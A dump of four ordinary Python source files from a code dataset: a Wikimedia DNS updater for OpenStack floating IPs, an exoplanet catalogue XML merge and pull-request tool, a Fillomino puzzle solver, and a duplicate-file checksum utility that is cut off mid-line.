+{"seq_id":"2145615722","text":"import os\nimport argparse\nimport ipaddress\nimport logging\nimport re\nimport time\nimport yaml\n\nimport mwopenstackclients\n\nlogger = logging.getLogger(__name__)\n\nPROJECT_ZONE_TEMPLATE = \"{project}.wmflabs.org.\"\nFQDN_TEMPLATE = \"instance-{server}.{project}.wmflabs.org.\"\nFQDN_REGEX = FQDN_TEMPLATE.replace(r\".\", r\"\\.\").format(\n server=\"(.*)\", project=\"{project}\"\n)\nMANAGED_DESCRIPTION = (\n \"MANAGED BY dns-floating-ip-updater.py IN PUPPET - DO NOT UPDATE OR DELETE\"\n)\n\n\ndef managed_description_error(action, type, label):\n logger.warning(\n \"Did not %s %s record for %s due to lack of managed_description!\",\n action,\n type,\n label,\n )\n\n\ndef update_tenant(\n client,\n tenant,\n project_main_zone_ids,\n public_addrs,\n existing_As,\n):\n logger.debug(\"Updating project %s\", tenant.name)\n if tenant.name == \"admin\":\n return\n\n server_addresses = {}\n nova_client = client.novaclient(tenant.name)\n # Go through every instance\n for server in nova_client.servers.list():\n for network_name, addresses in server.addresses.items():\n public = [\n str(ip[\"addr\"])\n for ip in addresses\n if ip[\"OS-EXT-IPS:type\"] == \"floating\"\n ]\n # If the instance has a public IP...\n if public:\n # Record their public IPs and generate their public name\n # according to FQDN_TEMPLATE. Technically there can be more\n # than one floating (and/or fixed) IP Although this is never\n # practically the case...\n server_addresses[server.name] = public\n A_FQDN = FQDN_TEMPLATE.format(\n server=server.name, project=tenant.name\n )\n public_addrs[A_FQDN, tenant.name] = True, public\n logger.debug(\"Found public IP %s -> %s\", public, A_FQDN)\n\n dns = mwopenstackclients.DnsManager(client, tenant=tenant.name)\n existing_match_regex = re.compile(FQDN_REGEX.format(project=tenant.name))\n # Now go through every zone the project controls\n for zone in dns.zones():\n logger.debug(\"Checking zone %s\", zone[\"name\"])\n # If this is their main zone, record the ID for later use\n if zone[\"name\"] == PROJECT_ZONE_TEMPLATE.format(project=tenant.name):\n project_main_zone_ids[tenant.name] = zone[\"id\"]\n\n # Go through every recordset in the zone\n for recordset in dns.recordsets(zone[\"id\"]):\n logger.debug(\n \"Found recordset %s %s\", recordset[\"name\"], recordset[\"type\"]\n )\n existing_As.append(recordset[\"name\"])\n # No IPv6 support in labs so no AAAAs\n if recordset[\"type\"] != \"A\":\n continue\n\n match = existing_match_regex.match(recordset[\"name\"])\n if match:\n # Matches instances for this project, managed by this script\n if match.group(1) in server_addresses and set(\n recordset[\"records\"]\n ) != set(server_addresses[match.group(1)]):\n # ... But instance has a different set of IPs. Update!\n if recordset[\"description\"] == MANAGED_DESCRIPTION:\n new_records = server_addresses[match.group(1)]\n logger.info(\n \"Updating type A record for %s\"\n \" - instance has different IPs - correct: %s\"\n \" vs. current: %s\",\n recordset[\"name\"],\n str(new_records),\n str(recordset[\"records\"]),\n )\n try:\n dns.update_recordset(\n zone[\"id\"],\n recordset[\"id\"],\n new_records,\n )\n except Exception:\n logger.exception(\n \"Failed to update %s\", recordset[\"name\"]\n )\n else:\n managed_description_error(\"update\", \"A\", recordset[\"name\"])\n elif match.group(1) not in server_addresses:\n # ... But instance does not actually exist. Delete!\n if recordset[\"description\"] == MANAGED_DESCRIPTION:\n logger.info(\n \"Deleting type A record for %s \"\n \" - instance does not exist\",\n recordset[\"name\"],\n )\n try:\n dns.delete_recordset(zone[\"id\"], recordset[\"id\"])\n except Exception:\n logger.exception(\n \"Failed to delete %s\", recordset[\"name\"]\n )\n else:\n managed_description_error(\"delete\", \"A\", recordset[\"name\"])\n elif \"*\" not in recordset[\"name\"]:\n # Recordset is not one of our FQDN_TEMPLATE ones, so just\n # store it so we can reflect its existence in PTR records\n # where appropriate.\n public_addrs[recordset[\"name\"], tenant.name] = (\n False,\n recordset[\"records\"],\n )\n\n\ndef try_update_tenant(\n client,\n tenant,\n project_main_zone_ids,\n public_addrs,\n existing_As,\n retries,\n retry_interval,\n):\n retry = 0\n while retry <= retries:\n try:\n update_tenant(\n client=client,\n tenant=tenant,\n project_main_zone_ids=project_main_zone_ids,\n public_addrs=public_addrs,\n existing_As=existing_As\n )\n return\n except Exception:\n retry += 1\n logger.exception(\n \"Failed to update tenant %s, retrying %s out of %s\"\n % (tenant.name, retry, retries)\n )\n if retry == retries:\n raise\n time.sleep(retry_interval)\n\n\ndef update(config, os_cloud, retries, retry_interval):\n floating_ip_ptr_fqdn_matching_regex = re.compile(\n config[\"floating_ip_ptr_fqdn_matching_regex\"]\n )\n\n client = mwopenstackclients.Clients(oscloud=os_cloud)\n\n project_main_zone_ids = {}\n public_addrs = {}\n existing_As = []\n # Go through every tenant\n for tenant in client.keystoneclient().projects.list():\n logger.info(\"Trying tenant %s\", tenant.name)\n try_update_tenant(\n client=client,\n tenant=tenant,\n project_main_zone_ids=project_main_zone_ids,\n public_addrs=public_addrs,\n existing_As=existing_As,\n retries=retries,\n retry_interval=retry_interval,\n )\n\n # Now we go through all the A record data we have stored\n public_PTRs = {}\n for (A_FQDN, project), (managed_here, IPs) in public_addrs.items():\n # Set up any that need to be and don't already exist\n if managed_here and A_FQDN not in existing_As:\n dns = mwopenstackclients.DnsManager(client, tenant=project)\n # Create instance-$instance.$project.wmflabs.org 120 IN A $IP\n # No IPv6 support in labs so no AAAAs\n logger.info(\"Creating A record for %s\", A_FQDN)\n if project in project_main_zone_ids:\n try:\n dns.create_recordset(\n project_main_zone_ids[project],\n A_FQDN,\n \"A\",\n IPs,\n description=MANAGED_DESCRIPTION,\n )\n except Exception:\n logger.exception(\"Failed to create %s\", A_FQDN)\n else:\n logger.warning(\"Oops! No main zone for project %s.\", project)\n\n # Generate PTR record data, handling rewriting for RFC 2317 delegation as\n # configured\n for IP in IPs:\n PTR_FQDN = ipaddress.ip_address(IP).reverse_pointer + \".\"\n delegated_PTR_FQDN = floating_ip_ptr_fqdn_matching_regex.sub(\n config[\"floating_ip_ptr_fqdn_replacement_pattern\"], PTR_FQDN\n )\n if delegated_PTR_FQDN.endswith(config[\"floating_ip_ptr_zone\"]):\n if delegated_PTR_FQDN in public_PTRs:\n public_PTRs[delegated_PTR_FQDN].append(A_FQDN)\n else:\n public_PTRs[delegated_PTR_FQDN] = [A_FQDN]\n else:\n logger.warning(\n \"Not handling %s\" + \" because it doesn't end with %s\",\n delegated_PTR_FQDN,\n config[\"floating_ip_ptr_zone\"],\n )\n\n # Clean up reverse proxies. We don't want to generate PTR records for dozens\n # or hundreds of hostnames that are sharing a single reverse proxy like\n # project-proxy handles. If any IP has more than 10 reverse mappings then we\n # will try to figure out a reasonable truncated list.\n proxies = (k for k in public_PTRs if len(public_PTRs[k]) > 10)\n proxy_fqdn_re = re.compile(\n FQDN_TEMPLATE.replace(r\".\", r\"\\.\").format(server=\"(.*)\", project=\"(.*)\")\n )\n for ptr in proxies:\n logger.info(\"Trimming FQDN list for %s\", ptr)\n # Usually there will be an FQDN_TEMPLATE host in there somewhere\n fqdns = [h for h in public_PTRs[ptr] if proxy_fqdn_re.match(h)]\n if not fqdns:\n # If for some reason there are no FQDN_TEMPLATE hosts take the whole\n # giant list, but sorted just for fun\n fqdns = sorted(public_PTRs[ptr])\n # Only use the first 10 no matter how many ended up being found\n public_PTRs[ptr] = fqdns[:10]\n logger.debug(\"Trimmed FQDN list for %s is %s\", ptr, public_PTRs[ptr])\n\n # Set up designate client to write recordsets with\n dns = mwopenstackclients.DnsManager(client, tenant=\"wmflabsdotorg\")\n # Find the correct zone ID for the floating IP zone\n floating_ip_ptr_zone_id = None\n for zone in dns.zones():\n if zone[\"name\"] == config[\"floating_ip_ptr_zone\"]:\n floating_ip_ptr_zone_id = zone[\"id\"]\n break\n\n # Zone should already exist!\n assert floating_ip_ptr_zone_id is not None\n\n existing_public_PTRs = {}\n # Go through each record in the delegated PTR zone, deleting any with our\n # managed_description that don't exist and updating any that don't match our\n # public_PTRs data.\n for recordset in dns.recordsets(floating_ip_ptr_zone_id):\n existing_public_PTRs[recordset[\"name\"]] = recordset\n if recordset[\"type\"] == \"PTR\":\n if recordset[\"name\"] not in public_PTRs:\n if recordset[\"description\"] == MANAGED_DESCRIPTION:\n # Delete whole recordset, it shouldn't exist anymore.\n logger.info(\"Deleting PTR record %s\", recordset[\"name\"])\n try:\n dns.delete_recordset(floating_ip_ptr_zone_id, recordset[\"id\"])\n except Exception:\n logger.exception(\"Failed to delete %s\", recordset[\"name\"])\n else:\n managed_description_error(\"delete\", \"PTR\", recordset[\"name\"])\n continue\n new_records = set(public_PTRs[recordset[\"name\"]])\n if new_records != set(recordset[\"records\"]):\n if recordset[\"description\"] == MANAGED_DESCRIPTION:\n # Update the recordset to have the correct IPs\n logger.info(\"Updating PTR record %s\", recordset[\"name\"])\n try:\n dns.update_recordset(\n floating_ip_ptr_zone_id,\n recordset[\"id\"],\n list(new_records),\n )\n except Exception:\n logger.exception(\"Failed to update %s\", recordset[\"name\"])\n else:\n managed_description_error(\"update\", \"PTR\", recordset[\"name\"])\n\n # Create PTRs in delegated PTR zone\n for delegated_PTR_FQDN, records in public_PTRs.items():\n # We already dealt with updating existing PTRs above.\n if delegated_PTR_FQDN not in existing_public_PTRs:\n logger.info(\n \"Creating PTR record %s pointing to %s\",\n delegated_PTR_FQDN,\n str(records),\n )\n try:\n dns.create_recordset(\n floating_ip_ptr_zone_id,\n delegated_PTR_FQDN,\n \"PTR\",\n records,\n description=MANAGED_DESCRIPTION,\n )\n except Exception:\n logger.exception(\"Failed to create %s\", delegated_PTR_FQDN)\n\n\ndef main():\n argparser = argparse.ArgumentParser(\n description=\"Update reverse DNS records for floating IPs\"\n )\n argparser.add_argument(\n \"-v\",\n \"--verbose\",\n action=\"count\",\n default=0,\n dest=\"loglevel\",\n help=(\n \"Increase logging verbosity, specify many times for more verbosity\"\n ),\n )\n argparser.add_argument(\n \"--config-file\",\n help=\"Path to config file\",\n default=\"/etc/wmcs-dns-floating-ip-updater.yaml\",\n type=argparse.FileType(\"r\"),\n )\n argparser.add_argument(\n \"--os-cloud\",\n help=\"clouds.yaml section to use for auth\",\n default=\"novaadmin\",\n )\n args = argparser.parse_args()\n\n logging.basicConfig(\n level=max(logging.DEBUG, logging.WARNING - (10 * args.loglevel)),\n format=\"%(asctime)s %(name)-12s %(levelname)-8s: %(message)s\",\n datefmt=\"%Y-%m-%dT%H:%M:%SZ\",\n )\n logging.captureWarnings(True)\n # Quiet some noisy 3rd-party loggers\n logging.getLogger(\"requests\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n logging.getLogger(\"iso8601.iso8601\").setLevel(logging.WARNING)\n\n if os.getuid() != 0:\n logging.critical(\"root required\")\n exit(1)\n\n config = yaml.safe_load(args.config_file)\n retries = config.get(\"retries\", 2)\n retry_interval = config.get(\"retry_interval\", 120)\n\n retry = 0\n while retry <= retries:\n try:\n update(\n config,\n args.os_cloud,\n retries=retries,\n retry_interval=retry_interval,\n )\n exit(0)\n except Exception:\n retry += 1\n logger.exception(\n \"Failed to update, retrying %s out of %s\" % (retry, retries)\n )\n time.sleep(retry_interval)\n\n exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wikimedia/operations-puppet","sub_path":"modules/openstack/files/designate/wmcs-dns-floating-ip-updater.py","file_name":"wmcs-dns-floating-ip-updater.py","file_ext":"py","file_size_in_byte":15010,"program_lang":"python","lang":"en","doc_type":"code","stars":244,"dataset":"github-code","pt":"68"}
+{"seq_id":"22126510628","text":"#!/usr/bin/python\nimport time\nimport os\nimport glob\nimport shutil\nimport threading\n\nimport github\nimport mail\nimport xmltools\nimport multiprocessing\nimport eu\nimport nasa\nimport oec\nimport xml.etree.ElementTree as ET\n\nfrom github3 import login\n\n\nCURRENT = os.getcwd()\nDESTINATION = os.path.join(CURRENT, '_data/OEC/')\nCONFLICT = os.path.join(CURRENT, '_data/push/')\n\n\ndef file_name(dir):\n '''\n Return the directory with file name only\n :param dir: str\n :return: str\n '''\n return dir.split('/')[-1]\n\n\ndef has_attrib(ele,attr):\n return attr in ele.attrib\n\n\ndef compare_list_dir(other,oec):\n '''\n :param other: list of str\n :param oec: list of str\n :return: list of (list of str, dict)\n Return the new list of list, fist inner list in outer list stores the\n different filename exist and the second inner list will be same file name.\n '''\n\n dir_maping = {}\n # dir maping is dict stores that mapping the with same file names\n diff = []\n outer = [diff,dir_maping]\n\n # loop through director in other list\n for dir_other in other:\n marker = False\n for dir_oec in oec:\n # find the same file names\n if file_name(dir_other) == file_name(dir_oec):\n # mapping dir_other to dir_oec\n dir_maping[dir_other] = dir_oec\n marker = True\n # break out current loop\n break\n # files that are the same\n # did not find a match file name\n if marker is False:\n diff.append(dir_other)\n return outer\n\n#\n# other = ['a','b','c']\n# oec = ['a','e','t']\n# print(compare_list_dir(other,oec), flush=True)\n\ndef merge(Eother, Eoec, dirOther, dirOec, root, first, is_move):\n '''\n This is function deal with all compare cases\n :param Eother: Element tree\n :param Eoec: Element tree\n :return:\n '''\n # first use to control return once at root\n first += 1\n # loop through the child tag in Etree of other database\n for child in Eother:\n a = Eoec.getchildren()\n\n # get one element with given tag in current level\n childOEC = Eoec.find(child.tag) # DONT change this\n\n if childOEC != None: # find only check direct children\n if child.tag == 'star' or child.tag == 'planet':\n star_planet = Eoec.findall(child.tag)\n for element in star_planet:\n merge(child, element, dirOther, dirOec, root, first, is_move)\n # if child tag in third database is None then just skip\n elif child.text is None:\n continue\n # tag is name\n elif child.tag == 'name':\n all_names = Eoec.findall(child.tag)\n marker = False\n for oec_name in all_names:\n if oec_name.text == child.text:\n marker = True\n break\n # the name tag does not exist in OEC then append the name tag\n if marker == False:\n Eoec.append(child)\n # deal with errors\n elif 'errorplus' in child.attrib:\n # update with smaller error\n try:\n y = float(child.attrib['errorplus'])\n except:\n print(child.attrib['errorplus'], flush=True)\n print('Bad data in errorplus with directory name:' + str(dirOther), flush=True)\n break\n if not has_attrib(childOEC,'errorplus'):\n childOEC.text = child.text\n childOEC.set('errorplus', child.attrib['errorplus'])\n childOEC.set('errorminus', child.attrib['errorplus'])\n elif float(child.attrib['errorplus']) < float(childOEC.attrib['errorplus']):\n childOEC.text = child.text\n childOEC.set('errorplus', child.attrib['errorplus'])\n childOEC.set('errorminus', child.attrib['errorplus'])\n # never happen child.text is list at this point\n # if OEC tag is none then just update with third database info\n elif childOEC.text is None:\n childOEC.text = child.text\n # deal with numbers\n # elif (child.text).replace('.','',1).isdigit():\n # # if not equal then up to client's decision(move to confict area)\n # if child.text != childOEC.text:\n # move = True\n # # any other cases\n else:\n # the content is not the same then push file to (confict area)\n if child.text != childOEC.text:\n is_move = True\n # if is a distance tag\n merge(child,childOEC,dirOther,dirOec,root,first,is_move)\n # oec does not have such tag then update\n else:\n Eoec.append(child)\n # control only one return\n if(first == 0):\n # clear indentation in xml\n xmltools.indent(Eoec, level=0)\n # write to xml directory with all updates\n root.write(dirOec)\n\n # copy file\n if is_move == True:\n try:\n shutil.copy(dirOther, CONFLICT)\n except IOError:\n os.chmod(dirOther, 777) # ?? still can raise exception\n shutil.copy(dirOther, CONFLICT)\n\n return\n\n\ndef merge_two_database(list_third,list_oec):\n mainList = compare_list_dir(list_third ,list_oec)\n diffList = mainList[0]\n sameDict = mainList[1]\n # IF file name do not exist in OEC directory, then move to OEC dir\n for diff_dir in diffList:\n try:\n shutil.copy(diff_dir, DESTINATION)\n except (IOError):\n os.chmod(diff_dir, 777) # ?? still can raise exception\n shutil.copy(diff_dir, DESTINATION)\n # start merge file that do exist in OEC , each directory create a thread to excute merge\n # since the filename in directory is unique so safe to use threading\n for dirOther,dirOec in sameDict.items():\n other = ET.parse(dirOther).getroot()\n tree = ET.parse(dirOec)\n oec = tree.getroot()\n first = -1 # use to control return statement in merge recursion call\n move = False # use to decide whehter a file should move\n # create threading excute merge function\n t = threading.Thread(target=merge, args = (other, oec, dirOther,dirOec,tree,first,move,))\n t.daemon = True # set thread to daemon ('ok' won't be printed in this case)\n t.start()\n t.join()\n\n\ndef run_merge():\n list_xmldir_nasa = glob.glob(\"_data/Nasa/*.xml\")\n list_xmldir_eu = glob.glob(\"_data/EU/*.xml\")\n list_xmldir_oec = glob.glob(\"_data/OEC/*.xml\")\n\n print(\"nasa before merge size is :\" + str(len(list_xmldir_nasa)), flush=True)\n print(\"eu before size merge is :\" + str(len(list_xmldir_eu)), flush=True)\n print(\"oec before size merge is :\" + str(len(list_xmldir_oec)), flush=True)\n\n print(\"start merging....\", flush=True)\n try:\n merge_two_database(list_xmldir_nasa, list_xmldir_oec)\n merge_two_database(list_xmldir_eu, list_xmldir_oec)\n except:\n pass\n print('merge done', flush=True)\n\n list_xmldir_nasa = glob.glob(\"_data/Nasa/*.xml\")\n list_xmldir_eu = glob.glob(\"_data/EU/*.xml\")\n list_xmldir_oec = glob.glob(\"_data/OEC/*.xml\")\n\n print(\"nasa after merge size is :\" + str(len(list_xmldir_nasa)), flush=True)\n print(\"eu after merge size is :\" + str(len(list_xmldir_eu)), flush=True)\n print(\"oec after merge size is :\" + str(len(list_xmldir_oec)), flush=True)\n\n\ndef download_database(db):\n if db == \"nasa\":\n print('Start downloading Nasa', flush=True)\n nasa.get()\n nasa.parse()\n print('Nasa done', flush=True)\n elif db == \"eu\":\n print('Start downloading EU', flush=True)\n eu.get()\n eu.parse()\n print(\"EU done\", flush=True)\n elif db == \"oec\":\n print('Start downloading OEC', flush=True)\n oec.get()\n oec.parse()\n print('OEC done', flush=True)\n\n\ndef main():\n start_time = time.time()\n\n download_list = [\"nasa\", \"eu\", \"oec\"]\n pool = multiprocessing.Pool(processes=3)\n pool.map(download_database, download_list)\n pool.close()\n print(\"Download complete.\", flush=True)\n xmltools.ensure_empty_dir(\"_data/push\")\n xmltools.ensure_empty_dir(\"_data/OEC_old\")\n file_list = glob.glob(\"_data/OEC/*.xml\")\n for next_file in file_list:\n shutil.copy2(next_file, \"_data/OEC_old/\")\n\n run_merge()\n print(\"--- %s seconds ---\" % (time.time() - start_time), flush=True)\n\n\ndef check_difference():\n list_xmldir_oec = glob.glob(\"_data/OEC/*.xml\")\n result = []\n for next_file in list_xmldir_oec:\n try:\n file_old = open(next_file.replace(\"_data/OEC/\", \"_data/OEC_old/\"), encoding=\"utf8\")\n file_new = open(next_file, encoding=\"utf8\")\n if file_old.read() != file_new.read():\n result.append((next_file, \"Modified\"))\n file_old.close()\n file_new.close()\n\n except FileNotFoundError:\n result.append((next_file, \"Added\"))\n return result\n\n\ndef accept(file):\n shutil.copy2(file, \"_data/accepted/\")\n\n\ndef create_pull_request(token):\n push_list = glob.glob(\"_data/accepted/*.xml\")\n updated_list = []\n\n def process_push(next_file, destination):\n file = open(next_file, encoding=\"utf8\")\n content = file.read()\n try:\n github.push_file(destination, \"Update \" + next_file.split(\"/\")[-1], content, token)\n except IndexError:\n pass\n else:\n updated_list.append(next_file.split(\"/\")[-1])\n file.close()\n\n for next_xml in push_list:\n process_push(next_xml, \"systems/\" + next_xml.split(\"/\")[-1])\n\n print(\"\\nDone.\", flush=True)\n\n print(\"Creating pull request... \", end=\"\", flush=True)\n try:\n pr = github.create_pull_request(\"[ONE Syncr] Update exoplanet systems\", token)\n pr_number = \"/\" + str(pr.number)\n except github.github3.models.GitHubError:\n pr_number = \"s/\"\n print(\"Pull request already exists.\", flush=True)\n else:\n print(\"Done.\", flush=True)\n\n pr_url = \"https://github.com/\" + github.TARGET_USERNAME + \"/open_exoplanet_catalogue/pull\" + pr_number\n return pr_url\n\n\ndef send_email(token, updated_list, pr_url):\n gh = login(token=token)\n user = gh.user()\n\n if user.email:\n print(\"Sending notification email... \", end=\"\", flush=True)\n\n email_receiver = user.name + \" <\" + user.email + \">\"\n body = \"Hi there,\\n\\nThe following files were updated:\\n\\n\"\n for next_file in updated_list:\n body += \"\\t\" + next_file + \"\\n\"\n\n body += \"\\nA pull request has been created: \" + pr_url + \"\\n\"\n mail.send_email(mail.EMAIL_SENDER,\n email_receiver,\n \"Update to Open Exoplanet Catelogue\",\n body)\n print(\"An email was sent to \" + email_receiver, flush=True)\n else:\n print(\"Public email not set on GitHub.\", flush=True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"A-Kun/onesyncr-for-oec","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"7932445874","text":"\"\"\"Модуль находит решение заданного поля и выбрасиывает исключение,\nесли решения не существует\"\"\"\n\nimport argparse\nimport classes\nimport copy\nimport pickle\nimport queue\nimport sys\nfrom multiprocessing import Pool\n\n\ndef solve(field_to_solve):\n \"\"\"Метод находит решение\"\"\"\n if field_to_solve.cells_with_number is None or field_to_solve.areas:\n raise ValueError\n cells_without_numbers = select_cells_zones_without_numbers(field_to_solve)\n with Pool(5) as p:\n for area in cells_without_numbers:\n a = p.apply_async(task_for_worker,\n args=(field_to_solve, area,\n max(field_to_solve\n .cells_with_number.values()) +\n 1)).get()\n if a is None:\n print(area)\n for c in a.cells:\n field_to_solve.cells[c.layer][c.place] = c\n total_areas = select_areas(field_to_solve)\n if total_areas is None:\n raise ValueError(\"We can't solve\")\n field_to_solve.set_areas(total_areas)\n return field_to_solve\n\n\ndef task_for_worker(f, area, n):\n for figure in get_next_figure(area, set(), 0, n):\n areas = select_areas(f)\n if areas is not None:\n return figure\n\n\ndef select_cells_zones_without_numbers(f: classes.Field):\n \"\"\"Метод возвращает все связные области пустых клеток в порядке \n возрастания размеров области\"\"\"\n cells_without_number = []\n visited = set()\n n = f.n\n for i in range(n):\n for j in range(i * 2 + 1):\n cell = f.cells[i][j]\n if cell.number == 0 and cell not in visited:\n cells_without_number.append(select_area(visited, f, cell))\n cells_without_number_sorted = sorted(cells_without_number,\n key=lambda area: len(area),\n reverse=True)\n return cells_without_number_sorted\n\n\ndef check_if_ok(areas, cells_with_number, figure):\n \"\"\"Метод проверяет не конфликтует ли зона figure\n с другими уже установленными зонами\"\"\"\n for area in areas:\n cells = set(area.cells)\n for cell in figure:\n if cell in cells:\n return False\n count = 0\n for cell in figure:\n if cell in cells_with_number:\n count += 1\n if count == 0:\n return False\n return True\n\n\ndef select_areas(f):\n \"\"\"Метод выделяет зоны на поле, если это возможно\"\"\"\n n = f.n\n areas = []\n visited_cells = set()\n for i in range(n):\n for j in range(i * 2 + 1):\n cell = f.cells[i][j]\n if cell in visited_cells:\n continue\n visited_cells.add(cell)\n if cell.number == 0:\n continue\n number = cell.number\n current_area = classes.Area()\n empty_neibs = 0\n current_area.add_cell(cell)\n open_area = True\n index = 0\n while open_area and index < len(current_area.cells):\n x = current_area.cells[index].layer\n y = current_area.cells[index].place\n index += 1\n open_area = False\n for di, dj in classes.direction_dictionary.values():\n if (x + di < 0 or x + di >= n or\n y + dj < 0 or y + dj >= 2 * (x + di) + 1):\n continue\n new_cell = f.cells[x + di][y + dj]\n if new_cell in visited_cells:\n continue\n if new_cell.number == 0:\n empty_neibs += 1\n if new_cell.number == number:\n current_area.add_cell(new_cell)\n visited_cells.add(new_cell)\n open_area = True\n if ((len(current_area) == number or\n empty_neibs > 0 and\n len(current_area) + empty_neibs <= number) and\n check_if_ok(areas, set(f.cells_with_number.keys()),\n current_area.cells)):\n areas.append(current_area)\n else:\n return None\n return areas\n\n\ndef select_area(visited, f, cell):\n \"\"\"Метод выбирает связную область пустых клеток\"\"\"\n area = classes.Area()\n n = f.n\n area.add_cell(cell)\n cells_for_check = queue.Queue()\n cells_for_check.put(cell)\n visited.add(cell)\n while not cells_for_check.empty():\n c = cells_for_check.get()\n x = c.layer\n y = c.place\n for di, dj in classes.direction_dictionary.values():\n if (x + di < 0 or x + di >= n or\n y + dj < 0 or y + dj >= 2 * (x + di) + 1):\n continue\n new_cell = f.cells[x + di][y + dj]\n if new_cell in visited:\n continue\n if new_cell.number == 0:\n area.add_cell(new_cell)\n visited.add(new_cell)\n cells_for_check.put(new_cell)\n return area\n\n\ndef get_next_figure(area, cells_with_number, x, n):\n \"\"\"Метод расставляет цифры в пустых клетках\"\"\"\n if len(area) <= x:\n yield area\n elif area.cells[x] in cells_with_number:\n yield from get_next_figure(area, cells_with_number, x + 1, n)\n else:\n cell = area.cells[x]\n cells_with_number.add(cell)\n for index in range(1, n):\n cell.set_number(index)\n yield from get_next_figure(area,\n copy.deepcopy(cells_with_number), \n x + 1, n)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='''Находит решение\n заданного поля и выбрасиывает исключение, если решения не существует,\n на вход принимает головоломку''')\n field = pickle.loads(sys.stdin.read().encode())\n sys.stdout.buffer.write(pickle.dumps(solve(field), 0))\n","repo_name":"Mefoolyhi/Fillomino","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"9115693546","text":"import os,sys,hashlib,glob,logging.handlers,shutil,time,configparser\n\ndef get_dirname(string):\n return os.path.dirname(string)\n\ndef init_log(logfile):\n logging.basicConfig(filename=logfile,level=logging.DEBUG, encoding=\"utf-8\")\n\ndef write_log(msg):\n timestr = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\n logmsg = \"%s\\t%s\" % (timestr , msg)\n print(logmsg)\n logging.info(logmsg)\n\ndef sumfile(fobj): \n m = hashlib.md5()\n while True:\n d = fobj.read(8096)\n if not d:\n break\n m.update(d)\n return m.hexdigest()\n\n#get md5sum of file\ndef md5sum(fname): \n if fname == '-':\n ret = sumfile(sys.stdin)\n else:\n #try:\n f = open(fname, 'rb')\n #except:\n #write_log(\"FATAL: Failed to open file [%s]\" % fname)\n ret = sumfile(f)+\"-\"+str(os.path.getsize(fname))\n f.close()\n return ret\n\n#load garbage dict\ndef load_garbage_dict(dirname, garbage_dict):\n for item in os.listdir(dirname):\n subpath = os.path.join(dirname, item)\n if os.path.isdir(subpath):\n load_garbage_dict(subpath, garbage_dict)\n elif os.path.isfile(subpath):\n md5value=md5sum(subpath)\n garbage_dict[md5value]=subpath\n write_log(\"md5value[%s]\\tfile[%s]\" %(md5value, subpath))\n\n#get md5sum of msg\ndef md5sum_msg(msg):\n m = hashlib.md5()\n m.update(msg.encode())\n return m.hexdigest()\n\n#get md5sum for dir message(files' name and length, exclude html and txt)\ndef gen_dir_md5sum(dirname):\n dir_msg=\"\"\n for item in os.listdir(dirname):\n subpath = os.path.join(dirname, item)\n if os.path.isfile(subpath):\n subfix = os.path.splitext(subpath)[1][1:].lower()\n if subfix == \"html\" or subfix==\"txt\" or subfix==\"db\" or subfix==\"torrent\":\n continue\n dir_msg+=(\"%s\\t%d\\t\" % (item, os.path.getsize(subpath)))\n return md5sum_msg(dir_msg)\n\n#build the digest for dir\ndef build_dir_msg(dirname, subpath, dirsum):\n fp=open(subpath, \"w\", encoding=\"utf-8\")\n fp.write(\"%s\\n\" % dirsum)\n for item in os.listdir(dirname):\n subpath = os.path.join(dirname, item)\n if os.path.isfile(subpath):\n subfix = os.path.splitext(subpath)[1][1:].lower()\n if subfix == \"html\" or subfix==\"txt\" or subfix==\"db\" or subfix==\"torrent\":\n continue\n md5value=md5sum(subpath)\n #print(subpath)\n fp.write(\"%s\\t%s\\n\" % (item, md5value))\n fp.write(\"END\\n\")\n fp.close()\n\n#check if digest for dir changes, include files'name file's length\ndef if_dir_change(subpath, dirsum):\n fp=open(subpath, \"r\", encoding=\"utf-8\")\n line_list=fp.readlines()\n fp.close()\n line_num=len(line_list)\n if line_num < 2:\n write_log(\"FATAL\\tdirsum file[%s] format error\" % subpath)\n return True\n if line_num > 0:\n if line_list[0].replace(\"\\n\",\"\") != dirsum:\n write_log(\"dirsum file[%s] changed, rebuild it\" % subpath)\n return True\n elif line_list[line_num-1].replace(\"\\n\",\"\") != \"END\":\n write_log(\"dirsum file[%s] no END, rebuild it\" % subpath)\n return True\n else:\n write_log(\"dirsum file[%s] no line, rebuild it\" % subpath)\n return True\n\n#read the digest file for dir to append to file list\ndef read_filelist(subpath, filelist):\n dirname=get_dirname(subpath)\n fp=open(subpath, \"r\", encoding=\"utf-8\")\n line_list=fp.readlines()\n fp.close()\n line_num=len(line_list)\n if line_num < 2:\n write_log(\"FATAL\\tdirsum file[%s] format error\" % subpath)\n return\n for i in range(1,line_num-1):\n line_array=line_list[i].replace(\"\\n\",\"\").split(\"\\t\")\n if len(line_array) !=2:\n write_log(\"FATAL\\tdirsum file[%s] line%d[%s] format error\" % (subpath, i, line_list[i]))\n continue\n fname=os.path.join(dirname, line_array[0])\n md5value=line_array[1]\n filelist.append([fname, md5value])\n\n#calculate the total valid file(exclude en and txt) number\ndef total_dir(dirname):\n number=0\n for item in os.listdir(dirname):\n subpath = os.path.join(dirname, item)\n try:\n if os.path.isdir(subpath):\n number+=total_dir(subpath)\n elif os.path.isfile(subpath):\n subfix = os.path.splitext(subpath)[1][1:].lower()\n \n if subfix == \"html\" or subfix==\"txt\" or subfix==\"db\" or subfix==\"torrent\":\n continue\n number+=1\n except Exception as ex:\n continue\n return number\n\n#check dir recursive\ndef check_dir(dirname, filelist,totalnum):\n if_has_son_dir=False\n #print(dirname)\n #try:\n if True:\n for item in os.listdir(dirname):\n subpath = os.path.join(dirname, item)\n #print(subpath)\n if os.path.isdir(subpath):\n if_has_son_dir=True\n #print(if_has_son_dir)\n check_dir(subpath, filelist, totalnum)\n #print(if_has_son_dir)\n #if not if_has_son_dir:\n if True:\n dirsum=gen_dir_md5sum(dirname)\n subpath = os.path.join(dirname, \"dirsum.txt\")\n print(subpath)\n if not os.path.exists(subpath):\n print(subpath)\n write_log(\"dirsum file[%s] not exist, create it\" % subpath)\n build_dir_msg(dirname, subpath, dirsum)\n elif if_dir_change(subpath, 